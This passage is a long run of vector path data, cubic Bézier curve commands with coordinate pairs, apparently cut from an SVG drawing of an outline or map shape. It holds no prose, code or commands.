118011.04 18060.68 118053.84 18168.19C118107.23 18306.79 118160.61 18445.40 118214.00 18584.00C118321.33 18562.67 118428.67 18541.33 118536.00 18520.00C118643.00 18562.67 118750.00 18605.33 118857.00 18648.00C118878.67 18648.00 118900.33 18648.00 118922.00 18648.00C118975.50 18669.71 119028.97 18691.51 119082.50 18713.16C119114.66 18723.78 119146.83 18734.39 119179.00 18745.00C119234.03 18777.78 119289.00 18810.65 119344.06 18843.37C119471.04 18917.58 119598.02 18991.79 119725.00 19066.00C119736.00 19077.00 119747.00 19088.00 119758.00 19099.00C119758.00 19120.33 119758.00 19141.67 119758.00 19163.00C119747.00 19173.67 119736.00 19184.33 119725.00 19195.00C119725.00 19205.67 119725.00 19216.33 119725.00 19227.00C119746.67 19227.00 119768.33 19227.00 119790.00 19227.00C119800.73 19291.85 119811.55 19356.69 119822.22 19421.55C119843.49 19571.21 119864.81 19720.86 119886.06 19870.52C119896.70 19967.10 119907.41 20063.68 119918.00 20160.26C119917.98 20213.59 119918.05 20266.93 119917.96 20320.26C119907.31 20395.17 119896.65 20470.09 119886.00 20545.00C119896.67 20566.67 119907.33 20588.33 119918.00 20610.00C119896.67 20706.33 119875.33 20802.67 119854.00 20899.00C119822.00 20952.67 119790.00 21006.33 119758.00 21060.00C119768.66 21092.09 119779.45 21124.15 119790.04 21156.26C119800.69 21231.17 119811.35 21306.09 119822.00 21381.00C119832.67 21402.67 119843.33 21424.33 119854.00 21446.00C119854.00 21488.67 119854.00 21531.33 119854.00 21574.00C119822.00 21627.67 119790.00 21681.33 119758.00 21735.00C119746.95 21767.41 119735.99 21799.85 119724.88 21832.23C119703.59 21874.82 119682.29 21917.41 119661.00 21960.00C119650.33 21960.00 119639.67 21960.00 119629.00 21960.00C119618.33 21970.67 119607.67 21981.33 119597.00 21992.00C119607.67 21992.00 119618.33 21992.00 119629.00 21992.00C119618.33 22099.33 119607.67 22206.67 119597.00 22314.00C119607.67 22324.67 119618.33 22335.33 119629.00 22346.00C119629.00 22410.33 119629.00 22474.67 119629.00 22539.00C119618.33 22560.33 119607.67 22581.67 119597.00 22603.00C119564.67 22635.33 119532.33 22667.67 119500.00 22700.00C119489.33 22700.00 119478.67 22700.00 119468.00 22700.00C119436.00 22753.67 119404.00 22807.33 119372.00 22861.00C119361.28 22893.07 119350.66 22925.18 119339.88 22957.23C119307.59 23021.49 119275.29 23085.74 119243.00 23150.00C119211.00 23171.33 119179.00 23192.67 119147.00 23214.00C119147.00 23224.67 119147.00 23235.33 119147.00 23246.00C119136.33 23246.00 119125.67 23246.00 119115.00 23246.00C119104.00 23235.33 119093.00 23224.67 119082.00 23214.00C119082.00 23246.33 119082.00 23278.67 119082.00 23311.00C119071.33 23332.33 119060.67 23353.67 119050.00 23375.00C119060.67 23375.00 119071.33 23375.00 119082.00 23375.00C119082.00 23407.00 119082.00 23439.00 119082.00 23471.00C119071.33 23460.33 119060.67 23449.67 119050.00 23439.00C119039.33 23449.67 119028.67 23460.33 119018.00 23471.00C119018.00 23492.67 119018.00 23514.33 119018.00 23536.00C118996.67 23536.00 118975.33 23536.00 118954.00 23536.00C118954.00 23546.67 118954.00 23557.33 118954.00 23568.00C118943.33 23568.00 118932.67 23568.00 118922.00 23568.00C118911.00 23696.67 118900.00 23825.33 118889.00 23954.00C118728.33 23954.00 118567.67 23954.00 118407.00 23954.00C118353.33 23964.67 118299.67 23975.33 118246.00 23986.00C118224.67 23996.67 118203.33 24007.33 118182.00 24018.00C118075.00 24039.33 117968.00 24060.67 117861.00 24082.00C117807.33 24103.67 117753.67 24125.33 117700.00 24147.00C117625.00 24200.33 117550.00 24253.67 117475.00 24307.00C117464.33 24317.67 117453.67 24328.33 117443.00 24339.00C117432.00 24339.00 117421.00 24339.00 117410.00 24339.00C117367.33 24382.00 117324.67 24425.00 117282.00 24468.00C117258.53 24514.67 117234.91 24561.27 117211.54 24607.99C117181.36 24668.66 117151.18 24729.33 117121.00 24790.00C117110.33 24875.67 117099.67 24961.33 117089.00 25047.00C117078.33 25079.00 117067.67 25111.00 117057.00 25143.00C117024.67 25186.00 116992.33 25229.00 116960.00 25272.00C116928.00 25368.33 116896.00 25464.67 116864.00 25561.00C116840.81 25607.65 116817.77 25654.36 116794.49 25700.96C116762.34 25765.00 116730.08 25828.98 116698.00 25893.05C116667.67 25954.03 116637.33 26015.02 116607.00 26076.00C116574.59 26108.04 116542.24 26140.16 116509.79 26172.16C116467.14 26204.51 116424.43 26236.79 116381.81 26269.18C116349.50 26301.20 116317.11 26333.15 116284.84 26365.21C116252.90 26408.14 116220.95 26451.07 116189.00 26494.00C116071.00 26579.67 115953.00 26665.33 115835.00 26751.00C115770.67 26783.00 115706.33 26815.00 115642.00 26847.00C115588.25 26858.03 115534.49 26869.00 115480.75 26880.08C115341.50 26922.72 115202.25 26965.36 115063.00 27008.00C115041.67 27008.00 115020.33 27008.00 114999.00 27008.00C114977.61 27018.74 114956.13 27029.34 114934.80 27040.17C114870.48 27093.85 114806.11 27147.48 114741.82 27201.19C114731.12 27211.94 114720.29 27222.58 114709.69 27233.42C114677.46 27276.28 114645.23 27319.14 114613.00 27362.00C114613.00 27372.67 114613.00 27383.33 114613.00 27394.00C114602.33 27394.00 114591.67 27394.00 114581.00 27394.00C114548.60 27437.05 114516.27 27480.17 114483.82 27523.19C114473.18 27533.87 114462.43 27544.47 114451.86 27555.22C114430.57 27587.15 114409.29 27619.07 114388.00 27651.00C114356.00 27683.33 114324.00 27715.67 114292.00 27748.00C114259.67 27769.33 114227.33 27790.67 114195.00 27812.00C114184.33 27812.00 114173.67 27812.00 114163.00 27812.00C114131.00 27833.33 114099.00 27854.67 114067.00 27876.00C113970.33 27887.00 113873.67 27898.00 113777.00 27909.00C113712.67 27930.33 113648.33 27951.67 113584.00 27973.00C113530.30 28058.75 113476.54 28144.46 113422.88 28230.23C113401.59 28273.16 113380.29 28316.08 113359.00 28359.00C113316.29 28412.41 113273.53 28465.78 113230.85 28519.22C113209.24 28551.48 113187.62 28583.74 113166.00 28616.00C113133.28 28648.76 113100.48 28681.43 113067.82 28714.25C113057.84 28724.58 113047.77 28734.84 113037.85 28745.22C113016.21 28777.23 112994.48 28809.19 112972.88 28841.23C112962.26 28862.49 112951.63 28883.74 112941.00 28905.00C112940.94 28915.92 112941.13 28926.86 112940.90 28937.78C112930.27 29023.52 112919.63 29109.26 112909.00 29195.00C112812.67 29291.33 112716.33 29387.67 112620.00 29484.00C112598.33 29559.00 112576.67 29634.00 112555.00 29709.00C112523.00 29773.33 112491.00 29837.67 112459.00 29902.00C112405.33 29955.67 112351.67 30009.33 112298.00 30063.00C112254.95 30095.07 112211.83 30127.06 112168.82 30159.19C112147.39 30181.00 112125.85 30202.72 112104.49 30224.59C112040.26 30299.45 111976.07 30374.35 111911.82 30449.19C111869.21 30491.79 111826.61 30534.40 111784.00 30577.00C111676.67 30759.33 111569.33 30941.67 111462.00 31124.00C111451.33 31134.67 111440.67 31145.33 111430.00 31156.00C111419.33 31177.33 111408.67 31198.67 111398.00 31220.00C111387.33 31231.00 111376.67 31242.00 111366.00 31253.00C111365.98 31306.42 111366.04 31359.84 111365.97 31413.26C111354.99 31520.59 111343.94 31627.92 111333.00 31735.26C111333.00 31788.84 111333.00 31842.42 111333.00 31896.00C111322.33 31896.00 111311.67 31896.00 111301.00 31896.00C111311.67 32013.67 111322.33 32131.33 111333.00 32249.00C111344.00 32281.33 111355.00 32313.67 111366.00 32346.00C111366.00 32378.00 111366.00 32410.00 111366.00 32442.00C111354.89 32463.47 111343.90 32485.01 111332.71 32506.44C111311.47 32538.62 111290.24 32570.81 111269.00 32603.00C111151.33 32721.00 111033.67 32839.00 110916.00 32957.00C110873.00 32989.00 110830.00 33021.00 110787.00 33053.00C110658.33 33063.67 110529.67 33074.33 110401.00 33085.00C110354.51 33038.41 110307.64 32992.19 110260.96 32945.79C110253.97 32938.86 110246.99 32931.93 110240.00 32925.00C110218.67 32935.67 110197.33 32946.33 110176.00 32957.00C110154.67 32999.67 110133.33 33042.33 110112.00 33085.00C110112.00 33095.67 110112.00 33106.33 110112.00 33117.00C110101.33 33106.33 110090.67 33095.67 110080.00 33085.00C110069.00 33085.00 110058.00 33085.00 110047.00 33085.00C110047.00 33020.67 110047.00 32956.33 110047.00 32892.00C110025.67 32881.33 110004.33 32870.67 109983.00 32860.00C109972.33 32860.00 109961.67 32860.00 109951.00 32860.00C109940.33 32870.67 109929.67 32881.33 109919.00 32892.00C109929.67 32945.67 109940.33 32999.33 109951.00 33053.00C109940.33 33063.67 109929.67 33074.33 109919.00 33085.00C109919.00 33095.67 109919.00 33106.33 109919.00 33117.00C109886.67 33106.33 109854.33 33095.67 109822.00 33085.00C109779.33 33095.67 109736.67 33106.33 109694.00 33117.00C109659.37 33134.58 109624.78 33152.23 109590.00 33169.50C109581.67 33173.67 109573.33 33177.83 109565.00 33182.00C109565.00 33192.67 109565.00 33203.33 109565.00 33214.00C109597.00 33246.00 109629.00 33278.00 109661.00 33310.00C109661.00 33320.67 109661.00 33331.33 109661.00 33342.00C109650.33 33363.67 109639.67 33385.33 109629.00 33407.00C109597.00 33417.67 109565.00 33428.33 109533.00 33439.00C109490.00 33417.67 109447.00 33396.33 109404.00 33375.00C109393.33 33375.00 109382.67 33375.00 109372.00 33375.00C109361.33 33364.00 109350.67 33353.00 109340.00 33342.00C109340.00 33320.67 109340.00 33299.33 109340.00 33278.00C109350.67 33246.00 109361.33 33214.00 109372.00 33182.00C109350.67 33128.33 109329.33 33074.67 109308.00 33021.00C109308.00 33010.33 109308.00 32999.67 109308.00 32989.00C109265.00 32989.00 109222.00 32989.00 109179.00 32989.00C109157.67 32967.67 109136.33 32946.33 109115.00 32925.00C109018.33 32925.00 108921.67 32925.00 108825.00 32925.00C108803.67 32914.00 108782.33 32903.00 108761.00 32892.00C108696.67 32892.00 108632.33 32892.00 108568.00 32892.00C108525.33 32870.67 108482.67 32849.33 108440.00 32828.00C108397.00 32828.00 108354.00 32828.00 108311.00 32828.00C108279.00 32753.00 108247.00 32678.00 108215.00 32603.00C108204.00 32592.33 108193.00 32581.67 108182.00 32571.00C108139.33 32560.33 108096.67 32549.67 108054.00 32539.00C108032.33 32517.33 108010.67 32495.67 107989.00 32474.00C107957.00 32495.67 107925.00 32517.33 107893.00 32539.00C107876.86 32522.40 107860.87 32505.65 107844.39 32489.39C107839.26 32484.26 107834.13 32479.13 107829.00 32474.00C107850.33 32452.67 107871.67 32431.33 107893.00 32410.00C107903.67 32378.00 107914.33 32346.00 107925.00 32314.00C107914.33 32303.00 107903.67 32292.00 107893.00 32281.00C107893.00 32227.67 107893.00 32174.33 107893.00 32121.00C107861.00 32088.67 107829.00 32056.33 107797.00 32024.00C107797.00 31992.00 107797.00 31960.00 107797.00 31928.00C107813.25 31911.72 107829.64 31895.57 107845.54 31878.94C107850.69 31873.63 107855.85 31868.31 107861.00 31863.00C107893.00 31863.00 107925.00 31863.00 107957.00 31863.00C107967.67 31820.33 107978.33 31777.67 107989.00 31735.00C107978.28 31713.27 107967.63 31691.49 107956.86 31669.78C107935.57 31637.85 107914.29 31605.93 107893.00 31574.00C107871.67 31563.33 107850.33 31552.67 107829.00 31542.00C107806.74 31520.03 107784.37 31498.17 107762.18 31476.13C107752.12 31465.75 107742.06 31455.38 107732.00 31445.00C107710.67 31466.67 107689.33 31488.33 107668.00 31510.00C107657.26 31510.06 107646.48 31509.89 107635.75 31510.08C107581.51 31527.96 107527.27 31545.83 107473.12 31563.96C107462.99 31567.28 107452.89 31570.82 107442.74 31574.00C107399.83 31574.00 107356.91 31574.00 107314.00 31574.00C107324.74 31552.61 107335.35 31531.14 107346.16 31509.80C107389.11 31456.20 107432.05 31402.60 107475.00 31349.00C107453.67 31338.33 107432.33 31327.67 107411.00 31317.00C107411.00 31274.00 107411.00 31231.00 107411.00 31188.00C107443.00 31134.33 107475.00 31080.67 107507.00 31027.00C107507.00 30941.33 107507.00 30855.67 107507.00 30770.00C107485.67 30727.33 107464.33 30684.67 107443.00 30642.00C107443.00 30567.00 107443.00 30492.00 107443.00 30417.00C107432.33 30363.33 107421.67 30309.67 107411.00 30256.00C107389.33 30234.33 107367.67 30212.67 107346.00 30191.00C107292.67 30191.00 107239.33 30191.00 107186.00 30191.00C107143.00 30202.00 107100.00 30213.00 107057.00 30224.00C107025.00 30245.33 106993.00 30266.67 106961.00 30288.00C106939.33 30288.00 106917.67 30288.00 106896.00 30288.00C106874.67 30277.33 106853.33 30266.67 106832.00 30256.00C106789.00 30191.67 106746.00 30127.33 106703.00 30063.00C106703.00 30030.67 106703.00 29998.33 106703.00 29966.00C106681.63 29944.58 106660.16 29923.25 106638.86 29901.78C106617.57 29869.85 106596.29 29837.93 106575.00 29806.00C106585.67 29773.67 106596.33 29741.33 106607.00 29709.00C106585.67 29687.67 106564.33 29666.33 106543.00 29645.00C106585.67 29580.67 106628.33 29516.33 106671.00 29452.00C106660.33 29441.33 106649.67 29430.67 106639.00 29420.00C106617.67 29377.00 106596.33 29334.00 106575.00 29291.00C106575.00 29259.00 106575.00 29227.00 106575.00 29195.00C106596.33 29152.00 106617.67 29109.00 106639.00 29066.00C106639.00 29023.00 106639.00 28980.00 106639.00 28937.00C106628.33 28915.67 106617.67 28894.33 106607.00 28873.00C106585.67 28851.67 106564.33 28830.33 106543.00 28809.00C106521.33 28809.00 106499.67 28809.00 106478.00 28809.00C106446.00 28787.67 106414.00 28766.33 106382.00 28745.00C106360.67 28723.33 106339.33 28701.67 106318.00 28680.00C106307.00 28637.33 106296.00 28594.67 106285.00 28552.00C106167.33 28466.00 106049.67 28380.00 105932.00 28294.00C105919.99 28270.13 105908.21 28246.14 105896.05 28222.34C105886.37 28203.56 105876.68 28184.78 105867.00 28166.00C105856.33 28155.33 105845.67 28144.67 105835.00 28134.00C105803.00 28123.00 105771.00 28112.00 105739.00 28101.00C105696.00 28112.00 105653.00 28123.00 105610.00 28134.00C105567.33 28123.00 105524.67 28112.00 105482.00 28101.00C105471.00 28090.33 105460.00 28079.67 105449.00 28069.00C105406.33 27951.33 105363.67 27833.67 105321.00 27716.00C105310.29 27672.74 105299.49 27629.50 105288.85 27586.23C105278.23 27532.82 105267.62 27479.41 105257.00 27426.00C105257.00 27372.67 105257.00 27319.33 105257.00 27266.00C105245.92 27254.97 105234.92 27243.82 105223.78 27232.85C105191.86 27211.57 105159.93 27190.28 105128.00 27169.00C105106.67 27147.67 105085.33 27126.33 105064.00 27105.00C105074.67 27040.67 105085.33 26976.33 105096.00 26912.00C105063.67 26901.33 105031.33 26890.67 104999.00 26880.00C104988.33 26858.33 104977.67 26836.67 104967.00 26815.00C104967.00 26783.00 104967.00 26751.00 104967.00 26719.00C104956.33 26708.33 104945.67 26697.67 104935.00 26687.00C104924.33 26665.33 104913.67 26643.67 104903.00 26622.00C104870.67 26600.67 104838.33 26579.33 104806.00 26558.00C104784.67 26526.00 104763.33 26494.00 104742.00 26462.00C104720.67 26451.33 104699.33 26440.67 104678.00 26430.00C104667.33 26376.33 104656.67 26322.67 104646.00 26269.00C104656.67 26236.67 104667.33 26204.33 104678.00 26172.00C104688.67 26161.33 104699.33 26150.67 104710.00 26140.00C104677.67 26086.33 104645.33 26032.67 104613.00 25979.00C104581.00 25957.67 104549.00 25936.33 104517.00 25915.00C104506.27 25871.84 104495.64 25828.65 104484.83 25785.51C104474.22 25753.67 104463.61 25721.83 104453.00 25690.00C104420.67 25668.67 104388.33 25647.33 104356.00 25626.00C104345.33 25593.67 104334.67 25561.33 104324.00 25529.00C104345.33 25497.00 104366.67 25465.00 104388.00 25433.00C104388.00 25400.67 104388.00 25368.33 104388.00 25336.00C104377.33 25293.33 104366.67 25250.67 104356.00 25208.00C104377.67 25154.33 104399.33 25100.67 104421.00 25047.00C104410.00 25036.33 104399.00 25025.67 104388.00 25015.00C104366.67 25004.33 104345.33 24993.67 104324.00 24983.00C104345.33 24950.67 104366.67 24918.33 104388.00 24886.00C104377.33 24875.33 104366.67 24864.67 104356.00 24854.00C104386.18 24824.20 104416.57 24794.61 104446.48 24764.53C104448.65 24762.35 104450.83 24760.17 104453.00 24758.00C104453.00 24736.33 104453.00 24714.67 104453.00 24693.00C104442.33 24671.67 104431.67 24650.33 104421.00 24629.00C104421.00 24607.67 104421.00 24586.33 104421.00 24565.00C104431.67 24532.67 104442.33 24500.33 104453.00 24468.00C104495.67 24414.33 104538.33 24360.67 104581.00 24307.00C104591.67 24242.67 104602.33 24178.33 104613.00 24114.00C104624.00 24103.33 104635.00 24092.67 104646.00 24082.00C104646.00 24071.33 104646.00 24060.67 104646.00 24050.00C104613.67 24028.67 104581.33 24007.33 104549.00 23986.00C104527.67 23996.67 104506.33 24007.33 104485.00 24018.00C104474.33 24007.33 104463.67 23996.67 104453.00 23986.00C104442.28 23953.60 104431.66 23921.15 104420.88 23888.77C104409.92 23867.51 104398.96 23846.26 104388.00 23825.00C104345.33 23793.00 104302.67 23761.00 104260.00 23729.00C104249.33 23696.67 104238.67 23664.33 104228.00 23632.00C104217.00 23621.33 104206.00 23610.67 104195.00 23600.00C104184.33 23600.00 104173.67 23600.00 104163.00 23600.00C104152.25 23589.30 104141.59 23578.49 104130.78 23567.85C104034.54 23503.54 103938.35 23439.16 103842.00 23375.00C103820.33 23332.00 103798.67 23289.00 103777.00 23246.00C103755.67 23224.67 103734.33 23203.33 103713.00 23182.00C103627.33 23139.00 103541.67 23096.00 103456.00 23053.00C103445.25 23042.29 103434.58 23031.50 103423.79 23020.85C103348.86 22967.57 103273.93 22914.28 103199.00 22861.00C103188.33 22828.67 103177.67 22796.33 103167.00 22764.00C103177.67 22753.33 103188.33 22742.67 103199.00 22732.00C103199.00 22689.00 103199.00 22646.00 103199.00 22603.00C103182.72 22586.75 103166.57 22570.36 103149.94 22554.46C103144.63 22549.31 103139.31 22544.15 103134.00 22539.00C103123.33 22506.67 103112.67 22474.33 103102.00 22442.00C103102.00 22431.33 103102.00 22420.67 103102.00 22410.00C103112.67 22399.33 103123.33 22388.67 103134.00 22378.00C103134.00 22367.33 103134.00 22356.67 103134.00 22346.00C103123.33 22324.67 103112.67 22303.33 103102.00 22282.00C103091.33 22282.00 103080.67 22282.00 103070.00 22282.00C103070.00 22260.33 103070.00 22238.67 103070.00 22217.00C103038.00 22185.00 103006.00 22153.00 102974.00 22121.00C102974.00 22024.67 102974.00 21928.33 102974.00 21832.00C102995.33 21810.33 103016.67 21788.67 103038.00 21767.00C103048.67 21767.00 103059.33 21767.00 103070.00 21767.00C103091.33 21777.67 103112.67 21788.33 103134.00 21799.00C103155.67 21799.00 103177.33 21799.00 103199.00 21799.00C103209.67 21788.33 103220.33 21777.67 103231.00 21767.00C103231.06 21756.26 103230.89 21745.47 103231.08 21734.75C103241.72 21702.83 103252.36 21670.92 103263.00 21639.00C103252.33 21617.33 103241.67 21595.67 103231.00 21574.00C103209.67 21552.67 103188.33 21531.33 103167.00 21510.00C103156.00 21478.00 103145.00 21446.00 103134.00 21414.00C103134.00 21381.67 103134.00 21349.33 103134.00 21317.00C103123.33 21317.00 103112.67 21317.00 103102.00 21317.00C103091.33 21327.67 103080.67 21338.33 103070.00 21349.00C103070.00 21359.67 103070.00 21370.33 103070.00 21381.00C103016.33 21370.33 102962.67 21359.67 102909.00 21349.00C102823.33 21392.00 102737.67 21435.00 102652.00 21478.00C102630.67 21478.00 102609.33 21478.00 102588.00 21478.00C102577.33 21456.67 102566.67 21435.33 102556.00 21414.00C102556.00 21403.00 102556.00 21392.00 102556.00 21381.00C102577.33 21359.67 102598.67 21338.33 102620.00 21317.00C102630.67 21285.00 102641.33 21253.00 102652.00 21221.00C102641.33 21199.33 102630.67 21177.67 102620.00 21156.00C102588.00 21145.33 102556.00 21134.67 102524.00 21124.00C102513.00 21124.00 102502.00 21124.00 102491.00 21124.00C102491.00 21081.33 102491.00 21038.67 102491.00 20996.00C102525.63 20978.42 102560.22 20960.77 102595.00 20943.50C102603.33 20939.33 102611.67 20935.17 102620.00 20931.00C102609.33 20899.00 102598.67 20867.00 102588.00 20835.00C102577.33 20824.33 102566.67 20813.67 102556.00 20803.00C102523.67 20803.00 102491.33 20803.00 102459.00 20803.00C102459.00 20813.67 102459.00 20824.33 102459.00 20835.00C102448.33 20845.67 102437.67 20856.33 102427.00 20867.00C102395.00 20835.00 102363.00 20803.00 102331.00 20771.00C102266.67 20781.67 102202.33 20792.33 102138.00 20803.00C102127.00 20824.33 102116.00 20845.67 102105.00 20867.00C102083.67 20867.00 102062.33 20867.00 102041.00 20867.00C102030.33 20845.67 102019.67 20824.33 102009.00 20803.00C102030.33 20792.33 102051.67 20781.67 102073.00 20771.00C102083.67 20760.00 102094.33 20749.00 102105.00 20738.00C102094.33 20706.00 102083.67 20674.00 102073.00 20642.00C102083.67 20620.67 102094.33 20599.33 102105.00 20578.00C102094.33 20556.33 102083.67 20534.67 102073.00 20513.00C102051.67 20523.67 102030.33 20534.33 102009.00 20545.00C101998.33 20588.00 101987.67 20631.00 101977.00 20674.00C101955.67 20674.00 101934.33 20674.00 101913.00 20674.00C101913.00 20663.33 101913.00 20652.67 101913.00 20642.00C101902.00 20631.33 101891.00 20620.67 101880.00 20610.00C101858.67 20631.33 101837.33 20652.67 101816.00 20674.00C101805.33 20663.33 101794.67 20652.67 101784.00 20642.00C101773.33 20620.67 101762.67 20599.33 101752.00 20578.00C101784.00 20545.67 101816.00 20513.33 101848.00 20481.00C101848.00 20470.33 101848.00 20459.67 101848.00 20449.00C101816.00 20427.67 101784.00 20406.33 101752.00 20385.00C101741.33 20395.67 101730.67 20406.33 101720.00 20417.00C101730.67 20438.33 101741.33 20459.67 101752.00 20481.00C101752.00 20491.67 101752.00 20502.33 101752.00 20513.00C101730.67 20534.67 101709.33 20556.33 101688.00 20578.00C101688.00 20588.67 101688.00 20599.33 101688.00 20610.00C101645.00 20599.33 101602.00 20588.67 101559.00 20578.00C101548.33 20556.33 101537.67 20534.67 101527.00 20513.00C101516.33 20534.67 101505.67 20556.33 101495.00 20578.00C101484.00 20578.00 101473.00 20578.00 101462.00 20578.00C101451.33 20567.00 101440.67 20556.00 101430.00 20545.00C101419.33 20523.67 101408.67 20502.33 101398.00 20481.00C101376.67 20470.33 101355.33 20459.67 101334.00 20449.00C101312.33 20449.00 101290.67 20449.00 101269.00 20449.00C101258.33 20459.67 101247.67 20470.33 101237.00 20481.00C101259.26 20502.97 101281.63 20524.83 101303.82 20546.87C101313.88 20557.25 101323.94 20567.63 101334.00 20578.00C101323.33 20588.67 101312.67 20599.33 101302.00 20610.00C101280.33 20610.00 101258.67 20610.00 101237.00 20610.00C101226.33 20599.33 101215.67 20588.67 101205.00 20578.00C101173.00 20588.67 101141.00 20599.33 101109.00 20610.00C101109.00 20599.33 101109.00 20588.67 101109.00 20578.00C101119.67 20567.00 101130.33 20556.00 101141.00 20545.00C101141.00 20534.33 101141.00 20523.67 101141.00 20513.00C101119.67 20523.67 101098.33 20534.33 101077.00 20545.00C101044.67 20534.33 101012.33 20523.67 100980.00 20513.00C100969.33 20523.67 100958.67 20534.33 100948.00 20545.00C100948.04 20534.25 100947.92 20523.48 100948.06 20512.75C100958.71 20470.16 100969.35 20427.58 100980.00 20385.00C100980.00 20374.33 100980.00 20363.67 100980.00 20353.00C100958.67 20353.00 100937.33 20353.00 100916.00 20353.00C100905.33 20331.33 100894.67 20309.67 100884.00 20288.00C100851.67 20288.00 100819.33 20288.00 100787.00 20288.00C100787.00 20309.67 100787.00 20331.33 100787.00 20353.00C100765.67 20363.67 100744.33 20374.33 100723.00 20385.00C100712.33 20385.00 100701.67 20385.00 100691.00 20385.00C100691.00 20374.33 100691.00 20363.67 100691.00 20353.00C100701.67 20342.00 100712.33 20331.00 100723.00 20320.00C100723.00 20309.33 100723.00 20298.67 100723.00 20288.00C100733.67 20266.67 100744.33 20245.33 100755.00 20224.00C100744.33 20224.00 100733.67 20224.00 100723.00 20224.00C100701.67 20213.33 100680.33 20202.67 100659.00 20192.00C100648.00 20202.67 100637.00 20213.33 100626.00 20224.00C100626.00 20202.67 100626.00 20181.33 100626.00 20160.00C100604.67 20149.00 100583.33 20138.00 100562.00 20127.00C100551.33 20148.67 100540.67 20170.33 100530.00 20192.00C100508.67 20181.33 100487.33 20170.67 100466.00 20160.00C100444.33 20170.67 100422.67 20181.33 100401.00 20192.00C100401.00 20138.33 100401.00 20084.67 100401.00 20031.00C100390.33 20009.67 100379.67 19988.33 100369.00 19967.00C100347.67 19977.67 100326.33 19988.33 100305.00 19999.00C100294.33 19999.00 100283.67 19999.00 100273.00 19999.00C100283.67 20009.67 100294.33 20020.33 100305.00 20031.00C100294.33 20041.67 100283.67 20052.33 100273.00 20063.00C100251.33 20052.33 100229.67 20041.67 100208.00 20031.00C100186.67 20052.33 100165.33 20073.67 100144.00 20095.00C100133.33 20095.00 100122.67 20095.00 100112.00 20095.00C100101.33 20084.33 100090.67 20073.67 100080.00 20063.00C100058.67 20073.67 100037.33 20084.33 100016.00 20095.00C100026.67 20105.67 100037.33 20116.33 100048.00 20127.00C100026.33 20127.00 100004.67 20127.00 99983.00 20127.00C99983.00 20116.33 99983.00 20105.67 99983.00 20095.00C99994.00 20073.67 100005.00 20052.33 100016.00 20031.00C100005.00 20020.33 99994.00 20009.67 99983.00 19999.00C99994.00 19977.67 100005.00 19956.33 100016.00 19935.00C99994.33 19892.00 99972.67 19849.00 99951.00 19806.00C99919.00 19806.00 99887.00 19806.00 99855.00 19806.00C99855.00 19795.33 99855.00 19784.67 99855.00 19774.00C99872.09 19739.29 99889.10 19704.56 99906.50 19670.00C99910.66 19661.67 99914.83 19653.33 99919.00 19645.00C99919.00 19634.33 99919.00 19623.67 99919.00 19613.00C99897.67 19634.33 99876.33 19655.67 99855.00 19677.00C99844.33 19655.67 99833.67 19634.33 99823.00 19613.00C99812.00 19613.00 99801.00 19613.00 99790.00 19613.00C99790.00 19602.33 99790.00 19591.67 99790.00 19581.00C99801.00 19581.00 99812.00 19581.00 99823.00 19581.00C99823.00 19570.33 99823.00 19559.67 99823.00 19549.00C99801.33 19527.33 99779.67 19505.67 99758.00 19484.00C99768.67 19473.33 99779.33 19462.67 99790.00 19452.00C99768.67 19452.00 99747.33 19452.00 99726.00 19452.00C99726.00 19430.67 99726.00 19409.33 99726.00 19388.00C99715.33 19377.33 99704.67 19366.67 99694.00 19356.00C99694.00 19366.67 99694.00 19377.33 99694.00 19388.00C99683.33 19377.33 99672.67 19366.67 99662.00 19356.00C99629.67 19356.00 99597.33 19356.00 99565.00 19356.00C99565.00 19334.33 99565.00 19312.67 99565.00 19291.00C99554.33 19291.00 99543.67 19291.00 99533.00 19291.00C99522.33 19312.67 99511.67 19334.33 99501.00 19356.00C99501.00 19388.00 99501.00 19420.00 99501.00 19452.00C99490.33 19441.33 99479.67 19430.67 99469.00 19420.00C99458.33 19388.00 99447.67 19356.00 99437.00 19324.00C99402.37 19306.42 99367.79 19288.77 99333.00 19271.50C99324.67 19267.33 99316.34 19263.17 99308.00 19259.00C99308.00 19237.67 99308.00 19216.33 99308.00 19195.00C99286.67 19195.00 99265.33 19195.00 99244.00 19195.00C99233.33 19184.33 99222.67 19173.67 99212.00 19163.00C99190.33 19173.67 99168.67 19184.33 99147.00 19195.00C99147.00 19184.33 99147.00 19173.67 99147.00 19163.00C99136.33 19152.33 99125.67 19141.67 99115.00 19131.00C99125.67 19120.33 99136.33 19109.67 99147.00 19099.00C99136.33 19088.00 99125.67 19077.00 99115.00 19066.00C99125.67 19066.00 99136.33 19066.00 99147.00 19066.00C99136.33 19055.33 99125.67 19044.67 99115.00 19034.00C99104.33 19044.67 99093.67 19055.33 99083.00 19066.00C99061.67 19055.33 99040.33 19044.67 99019.00 19034.00C99040.33 19012.67 99061.67 18991.33 99083.00 18970.00C99061.67 18980.67 99040.33 18991.33 99019.00 19002.00C99019.00 18991.33 99019.00 18980.67 99019.00 18970.00C99008.33 18970.00 98997.67 18970.00 98987.00 18970.00C98976.00 18959.33 98965.00 18948.67 98954.00 18938.00C98943.33 18938.00 98932.67 18938.00 98922.00 18938.00C98932.67 18927.33 98943.33 18916.67 98954.00 18906.00C98922.00 18906.00 98890.00 18906.00 98858.00 18906.00C98858.00 18895.33 98858.00 18884.67 98858.00 18874.00C98847.33 18884.67 98836.67 18895.33 98826.00 18906.00C98804.67 18906.00 98783.33 18906.00 98762.00 18906.00C98762.00 18895.33 98762.00 18884.67 98762.00 18874.00C98751.00 18874.00 98740.00 18874.00 98729.00 18874.00C98729.00 18863.00 98729.00 18852.00 98729.00 18841.00C98686.33 18819.67 98643.67 18798.33 98601.00 18777.00C98590.33 18809.33 98579.67 18841.67 98569.00 18874.00C98547.33 18852.33 98525.67 18830.67 98504.00 18809.00C98472.00 18809.00 98440.00 18809.00 98408.00 18809.00C98386.67 18819.67 98365.33 18830.33 98344.00 18841.00C98301.00 18830.33 98258.00 18819.67 98215.00 18809.00C98204.33 18809.00 98193.67 18809.00 98183.00 18809.00C98183.00 18819.67 98183.00 18830.33 98183.00 18841.00C98161.67 18830.33 98140.33 18819.67 98119.00 18809.00C98119.00 18819.67 98119.00 18830.33 98119.00 18841.00C98097.33 18852.00 98075.67 18863.00 98054.00 18874.00C98043.33 18863.00 98032.67 18852.00 98022.00 18841.00C98011.33 18841.00 98000.67 18841.00 97990.00 18841.00C97968.67 18830.33 97947.33 18819.67 97926.00 18809.00C97909.40 18792.86 97892.65 18776.87 97876.39 18760.39C97871.26 18755.26 97866.13 18750.13 97861.00 18745.00C97807.33 18734.33 97753.67 18723.67 97700.00 18713.00C97700.00 18702.33 97700.00 18691.67 97700.00 18681.00C97678.67 18691.67 97657.33 18702.33 97636.00 18713.00C97604.00 18702.33 